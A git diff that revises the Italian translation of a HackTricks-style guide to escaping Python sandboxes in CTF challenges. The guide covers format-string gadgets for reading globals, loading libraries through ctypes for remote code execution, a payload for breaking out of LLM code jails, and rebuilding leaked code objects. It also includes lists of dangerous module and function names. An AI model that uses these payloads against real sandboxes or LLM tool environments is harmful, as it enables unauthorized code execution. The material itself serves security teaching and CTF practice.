@ -510,7 +511,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE
|
||||
pdb:
|
||||
"""
|
||||
```
|
||||
Inoltre, se pensi che **altre librerie** possano essere in grado di **invocare funzioni per eseguire comandi**, possiamo anche **filtrare per nomi di funzioni** all'interno delle librerie potenziali:
|
||||
Inoltre, se pensi che **altre librerie** possano essere in grado di **invocare funzioni per eseguire comandi**, possiamo anche **filtrare per nomi di funzioni** all'interno delle librerie possibili:
|
||||
```python
|
||||
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
|
||||
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
|
||||
@ -546,7 +547,7 @@ __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, Fil
|
||||
## Ricerca ricorsiva di Builtins, Globals...
|
||||
|
||||
> [!WARNING]
|
||||
> Questo è semplicemente **fantastico**. Se stai **cercando un oggetto come globals, builtins, open o qualsiasi altra cosa** usa semplicemente questo script per **trovare ricorsivamente i posti dove puoi trovare quell'oggetto.**
|
||||
> Questo è semplicemente **fantastico**. Se stai **cercando un oggetto come globals, builtins, open o qualsiasi altro oggetto** usa semplicemente questo script per **trovare ricorsivamente i posti dove puoi trovare quell'oggetto.**
|
||||
```python
|
||||
import os, sys # Import these to find more gadgets
|
||||
|
||||
@ -662,7 +663,7 @@ print(SEARCH_FOR)
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
```
|
||||
Puoi controllare l'output di questo script su questa pagina:
|
||||
Puoi controllare l'output di questo script in questa pagina:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -671,7 +672,7 @@ https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-
|
||||
|
||||
## Python Format String
|
||||
|
||||
Se **mandi** una **stringa** a python che verrà **formattata**, puoi usare `{}` per accedere alle informazioni interne di python. Puoi usare gli esempi precedenti per accedere a globals o builtins per esempio.
|
||||
Se **invii** una **string** a python che verrà **formattata**, puoi usare `{}` per accedere alle **informazioni interne di python.** Puoi usare gli esempi precedenti per accedere a globals o builtins, per esempio.
|
||||
```python
|
||||
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
|
||||
CONFIG = {
|
||||
@ -691,16 +692,16 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
|
||||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
|
||||
get_name_for_avatar(st, people_obj = people)
|
||||
```
|
||||
Nota come puoi **accedere agli attributi** in modo normale con un **punto** come `people_obj.__init__` e **elemento del dict** con **parentesi** senza virgolette `__globals__[CONFIG]`
|
||||
Nota come puoi **accedere agli attributi** in modo normale con un **punto** come `people_obj.__init__` e un **elemento dict** con **parentesi** senza virgolette `__globals__[CONFIG]`
|
||||
|
||||
Also note that you can use `.__dict__` to enumerate elements of an object `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
||||
Nota anche che puoi usare `.__dict__` per enumerare gli elementi di un oggetto `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
||||
|
||||
Alcune altre caratteristiche interessanti delle format strings sono la possibilità di **eseguire** le **funzioni** **`str`**, **`repr`** e **`ascii`** nell'oggetto indicato aggiungendo **`!s`**, **`!r`**, **`!a`** rispettivamente:
|
||||
Alcune altre caratteristiche interessanti delle format strings sono la possibilità di **eseguire** le **funzioni** **`str`**, **`repr`** e **`ascii`** sull'oggetto indicato aggiungendo rispettivamente **`!s`**, **`!r`**, **`!a`**:
|
||||
```python
|
||||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
|
||||
get_name_for_avatar(st, people_obj = people)
|
||||
```
|
||||
Inoltre, è possibile **code new formatters** nelle classi:
|
||||
Inoltre, è possibile **scrivere nuovi formatters** nelle classi:
|
||||
```python
|
||||
class HAL9000(object):
|
||||
def __format__(self, format):
|
||||
@ -711,10 +712,10 @@ return 'HAL 9000'
|
||||
'{:open-the-pod-bay-doors}'.format(HAL9000())
|
||||
#I'm afraid I can't do that.
|
||||
```
|
||||
**Altri esempi** su **format** **string** si trovano su [**https://pyformat.info/**](https://pyformat.info)
|
||||
**Altri esempi** su **format** **string** si trovano in [**https://pyformat.info/**](https://pyformat.info)
|
||||
|
||||
> [!CAUTION]
|
||||
> Controlla anche la seguente pagina per gadget che **leggono informazioni sensibili dagli oggetti interni di Python**:
|
||||
> Consulta anche la pagina seguente per gadget che l**eggeranno informazioni sensibili dagli oggetti interni di Python**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -739,17 +740,17 @@ str(x) # Out: clueless
|
||||
```
|
||||
### LLM Jails bypass
|
||||
|
||||
Da [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
|
||||
From [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
|
||||
|
||||
### Dal format a RCE: caricamento di librerie
|
||||
### Dal formato al RCE: caricamento di librerie
|
||||
|
||||
Secondo il [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) è possibile caricare librerie arbitrarie dal disco abusando della format string vulnerability in python.
|
||||
According to the [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) it's possible to load arbitrary libraries from disk abusing the format string vulnerability in python.
|
||||
|
||||
Come promemoria, ogni volta che viene eseguita un'azione in python viene chiamata una funzione. Per esempio `2*3` eseguirà **`(2).mul(3)`** oppure **`{'a':'b'}['a']`** sarà **`{'a':'b'}.__getitem__('a')`**.
|
||||
Come promemoria, ogni volta che un'azione viene eseguita in python viene eseguita una funzione. Per esempio `2*3` eseguirà **`(2).mul(3)`** oppure **`{'a':'b'}['a']`** eseguirà **`{'a':'b'}.__getitem__('a')`**.
|
||||
|
||||
Ne trovi altri nella sezione [**Python execution without calls**](#python-execution-without-calls).
|
||||
|
||||
Una python format string vuln non permette di eseguire funzioni (non permette di usare le parentesi), quindi non è possibile ottenere RCE come `'{0.system("/bin/sh")}'.format(os)`.\
|
||||
A python format string vuln doesn't allow to execute function (it's doesn't allow to use parenthesis), so it's not possible to get RCE like `'{0.system("/bin/sh")}'.format(os)`.\
|
||||
Tuttavia, è possibile usare `[]`. Pertanto, se una libreria python comune ha un metodo **`__getitem__`** o **`__getattr__`** che esegue codice arbitrario, è possibile abusarne per ottenere RCE.
|
||||
|
||||
Cercando un gadget del genere in python, il writeup propone questa [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Dove ha trovato questo [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
|
||||
@ -774,7 +775,7 @@ return getattr(self, name)
|
||||
cdll = LibraryLoader(CDLL)
|
||||
pydll = LibraryLoader(PyDLL)
|
||||
```
|
||||
Questo gadget permette di **load a library from disk**. Pertanto è necessario, in qualche modo, **write or upload the library to load** correttamente compilata sul server attaccato.
|
||||
Questo gadget permette di **load a library from disk**. Pertanto, è necessario in qualche modo **write or upload the library to load** correttamente compiled sul server attaccato.
|
||||
```python
|
||||
'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
|
||||
```
|
||||
@ -785,9 +786,9 @@ La challenge sfrutta in realtà un'altra vulnerabilità nel server che permette
|
||||
> [!TIP]
|
||||
> Se vuoi **imparare** in profondità il **python bytecode** leggi questo **ottimo** post sull'argomento: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||
|
||||
In alcuni CTF potresti ricevere il nome di una **custom function where the flag** e devi vedere gli **internals** della **function** per estrarla.
|
||||
In alcuni CTF potresti ricevere il nome di una **custom function where the flag** e devi vedere gli **internals** della **function** per estrarlo.
|
||||
|
||||
Questa è la funzione da ispezionare:
|
||||
Questa è la function da ispezionare:
|
||||
```python
|
||||
def get_flag(some_input):
|
||||
var1=1
|
||||
@ -807,7 +808,7 @@ dir(get_flag) #Get info tof the function
|
||||
```
|
||||
#### globals
|
||||
|
||||
`__globals__` and `func_globals`(Stesso) Ottiene l'ambiente globale. Nell'esempio puoi vedere alcuni moduli importati, alcune variabili globali e il loro contenuto dichiarati:
|
||||
`__globals__` and `func_globals`(Stesso) Ottengono l'ambiente globale. Nell'esempio puoi vedere alcuni moduli importati, alcune variabili globali e il loro contenuto dichiarati:
|
||||
```python
|
||||
get_flag.func_globals
|
||||
get_flag.__globals__
|
||||
@ -818,7 +819,7 @@ CustomClassObject.__class__.__init__.__globals__
|
||||
```
|
||||
[**See here more places to obtain globals**](#globals-and-locals)
|
||||
|
||||
### **Accesso al function code**
|
||||
### **Accesso al codice della funzione**
|
||||
|
||||
**`__code__`** and `func_code`: Puoi **accedere** a questo **attributo** della funzione per **ottenere il code object** della funzione.
|
||||
```python
|
||||
@ -908,7 +909,7 @@ dis.dis(get_flag)
|
||||
44 LOAD_CONST 0 (None)
|
||||
47 RETURN_VALUE
|
||||
```
|
||||
Nota che **se non puoi importare `dis` nel python sandbox** puoi ottenere il **bytecode** della funzione (`get_flag.func_code.co_code`) e **disassemble**arlo localmente. Non vedrai il contenuto delle variabili caricate (`LOAD_CONST`) ma puoi dedurle da (`get_flag.func_code.co_consts`) perché `LOAD_CONST` indica anche l'offset della variabile caricata.
|
||||
Nota che **se non puoi importare `dis` nella sandbox python** puoi ottenere il **bytecode** della funzione (`get_flag.func_code.co_code`) e **disassemblarlo** localmente. Non vedrai il contenuto delle variabili caricate (`LOAD_CONST`) ma puoi indovinarlo da (`get_flag.func_code.co_consts`) perché `LOAD_CONST` indica anche l'offset della variabile caricata.
|
||||
```python
|
||||
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
|
||||
0 LOAD_CONST 1 (1)
|
||||
@ -930,9 +931,10 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
|
||||
44 LOAD_CONST 0 (0)
|
||||
47 RETURN_VALUE
|
||||
```
|
||||
## Compilazione di Python
|
||||
## Compilare Python
|
||||
|
||||
Ora, immaginiamo che in qualche modo tu possa **dumpare le informazioni su una funzione che non puoi eseguire** ma **hai bisogno** di **eseguirla**.\ Come nell'esempio seguente, puoi **accedere al code object** di quella funzione, ma limitandoti a leggere il disassemble non **sai come calcolare la flag** (_immagina una funzione `calc_flag` più complessa_)
|
||||
Ora, immaginiamo che in qualche modo tu possa **dump the information about a function that you cannot execute** ma tu **devi** **eseguirla**.\
|
||||
Come nell'esempio seguente, puoi **accedere al code object** di quella funzione, ma semplicemente leggendo il disassemble non **sai come calcolare la flag** (_immagina una funzione `calc_flag` più complessa_)
|
||||
```python
|
||||
def get_flag(some_input):
|
||||
var1=1
|
||||
@ -947,7 +949,7 @@ return "Nope"
|
||||
```
|
||||
### Creazione del code object
|
||||
|
||||
Prima di tutto, dobbiamo sapere **come creare ed eseguire un code object** in modo da poter crearne uno per eseguire la nostra function leaked:
|
||||
Prima di tutto, dobbiamo sapere **come creare ed eseguire un code object** in modo da poter crearne uno per eseguire la nostra funzione leaked:
|
||||
```python
|
||||
code_type = type((lambda: None).__code__)
|
||||
# Check the following hint if you get an error in calling this
|
||||
@ -967,7 +969,7 @@ mydict['__builtins__'] = __builtins__
|
||||
function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
```
|
||||
> [!TIP]
|
||||
> A seconda della versione di python i **parametri** di `code_type` possono avere un **ordine diverso**. Il modo migliore per conoscere l'ordine dei parametri nella versione di python che stai eseguendo è eseguire:
|
||||
> A seconda della versione di python i **parametri** di `code_type` possono avere un **ordine diverso**. Il modo migliore per conoscere l'ordine dei params nella versione di python che stai eseguendo è eseguire:
|
||||
>
|
||||
> ```
|
||||
> import types
|
||||
@ -975,10 +977,10 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
> 'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object. Not for the faint of heart.'
|
||||
> ```
|
||||
|
||||
### Ricreare una funzione leaked
|
||||
### Ricreare una leaked funzione
|
||||
|
||||
> [!WARNING]
|
||||
> Nel seguente esempio prenderemo tutti i dati necessari per ricreare la funzione direttamente dal function code object. In un **esempio reale**, tutti i **valori** necessari per eseguire la funzione **`code_type`** sono quelli che **dovrai ottenere tramite leak**.
|
||||
> Nell'esempio seguente prenderemo tutti i dati necessari per ricreare la funzione direttamente dal code object della funzione. In un **esempio reale**, tutti i **valori** necessari per eseguire la funzione **`code_type`** sono ciò che **dovrai leakare**.
|
||||
```python
|
||||
fc = get_flag.__code__
|
||||
# In a real situation the values like fc.co_argcount are the ones you need to leak
|
||||
@ -989,10 +991,10 @@ mydict['__builtins__'] = __builtins__
|
||||
function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
#ThisIsTheFlag
|
||||
```
|
||||
### Bypass Difese
|
||||
### Bypassare le difese
|
||||
|
||||
Negli esempi precedenti all'inizio di questo post, puoi vedere **come eseguire qualsiasi codice python usando la funzione `compile`**. Questo è interessante perché puoi **eseguire script interi** con loop e tutto in un **one liner** (e potremmo fare lo stesso usando **`exec`**).\
|
||||
Comunque, a volte può essere utile **creare** un **oggetto compilato** su una macchina locale ed eseguirlo nella **CTF machine** (per esempio perché non abbiamo la funzione `compiled` nella CTF).
|
||||
Nei precedenti esempi all'inizio di questo post, puoi vedere **come eseguire qualsiasi codice python usando la funzione `compile`**. Questo è interessante perché puoi **eseguire script interi** con loop e tutto il resto in **una singola riga** (e potremmo fare lo stesso usando **`exec`**).\
|
||||
Comunque, a volte può essere utile **creare** un **oggetto compilato** su una macchina locale ed eseguirlo sulla **CTF machine** (per esempio perché non abbiamo la funzione `compiled` nella CTF).
|
||||
|
||||
Per esempio, compiliamo ed eseguiamo manualmente una funzione che legge _./poc.py_:
|
||||
```python
|
||||
@ -1021,7 +1023,7 @@ mydict['__builtins__'] = __builtins__
|
||||
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
|
||||
function_type(codeobj, mydict, None, None, None)()
|
||||
```
|
||||
Se non puoi accedere a `eval` o `exec` puoi creare una **funzione adeguata**, ma chiamarla direttamente di solito fallirà con: _constructor not accessible in restricted mode_. Quindi hai bisogno di una **funzione esterna all'ambiente ristretto che richiami questa funzione.**
|
||||
Se non puoi accedere a `eval` o `exec` puoi creare una **funzione vera e propria**, ma chiamarla direttamente in genere fallirà con: _constructor not accessible in restricted mode_. Quindi hai bisogno di una **funzione esterna all'ambiente ristretto che chiami questa funzione.**
|
||||
```python
|
||||
#Compile a regular print
|
||||
ftype = type(lambda: None)
|
||||
@ -1029,22 +1031,22 @@ ctype = type((lambda: None).func_code)
|
||||
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
|
||||
f(42)
|
||||
```
|
||||
## Decompilare Python Compilato
|
||||
## Decompilazione di Python compilato
|
||||
|
||||
Usando strumenti come [**https://www.decompiler.com/**](https://www.decompiler.com) si può **decompilare** il codice Python compilato.
|
||||
Usando strumenti come [**https://www.decompiler.com/**](https://www.decompiler.com) si può **decompilare** il codice Python compilato fornito.
|
||||
|
||||
**Guarda questo tutorial**:
|
||||
**Consulta questo tutorial**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md
|
||||
{{#endref}}
|
||||
|
||||
## Varie su Python
|
||||
## Varie Python
|
||||
|
||||
### Assert
|
||||
|
||||
Python eseguito con ottimizzazioni usando il parametro `-O` rimuoverà le istruzioni assert e qualsiasi codice condizionato dal valore di **debug**.\
|
||||
Python eseguito con ottimizzazioni con il parametro `-O` rimuoverà le assert statements e qualsiasi codice condizionato dal valore di **debug**.\
|
||||
Pertanto, controlli come
|
||||
```python
|
||||
def check_permission(super_user):
|
||||
@ -1054,7 +1056,7 @@ print("\nYou are a super user\n")
|
||||
except AssertionError:
|
||||
print(f"\nNot a Super User!!!\n")
|
||||
```
|
||||
verrà bypassato
|
||||
verrà bypassed
|
||||
|
||||
## Riferimenti
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user